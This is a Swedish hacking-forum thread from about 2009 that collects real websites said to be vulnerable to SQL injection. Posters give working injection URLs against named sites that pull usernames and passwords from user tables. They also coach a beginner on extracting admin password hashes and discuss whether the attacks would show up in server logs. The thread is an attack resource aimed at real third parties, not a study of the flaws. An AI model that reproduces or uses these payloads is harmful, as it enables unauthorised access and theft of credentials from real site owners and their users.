Samling av sidor med säkerhetsbrister - Del 2

Vad är det som indikerar att den är sårbar?
Om du inte vet om den är sårbar eller inte hör det väl inte hemma i den här tråden?

OT: http://www.blennermarks.se påminner om Trafikmagasinet

Använder du månne FB som ett billigt sätt att testa säkerheten på din sida? Kanske du bör skapa en egen tråd isåfall

http://www.cantolirico.com/index.php?option=com_newsletter&ltemid=S@BUN&listi d=9999999/**/union/**/select/**/name,password/**/from/**/mos_users/*

Den är komplett o fin

http://mp3hungama.com/music/viewalbums.php?artistId=-3+UNION%20SELECT%201,concat_ws(0x3a3a,username,pas sword),3,4,5,6,7,8,9,10+f rom+users--

Är den här sidan osäker?

http://www.gravyrbutiken.se/MainShow.asp?ID=47&Typ=Askfat

Nybörjare på SQL-injektioner...

Ja

http://www.gravyrbutiken.se/VisaProdukt.asp?ID=981+order+by+1

Kan man komma åt något sorts admin-konto? Frågan är väl hur man får reda på namnen på alla tabeller först antar jag?

Du går in på milw0rm och börjar läsa SQL-injections for dummies alt. SQL-injections 101 och börjar testa. Är sidan väl sårbar är det bara en fråga om tid innan du får ut en admin-hash. Sen att faktiskt få ut lösenordet i klartext brukar vara en vetenskap för sig utifall admin inte har "anakin" som lösenord.

http://www.milw0rm.com/papers/ \\\\ http://www.milw0rm.com/search.php

Hur loggas sånt här? Är det lätt att bli upptäckt?

Det kan loggas exempelvis så här.
"127.0.0.1 - - [21/May/2009:01:49:38 +0200] "GET /test/profile.php?id=3 HTTP/1.1" 200 567"

Det är inte så många som sitter och tittar genom loggfilerna om de inte letar efter något speciellt. Vet de att någon har gjort intrång på sidan kan de dock ganska lätt söka och hitta från vilken ip-adress det utfördes ifrån.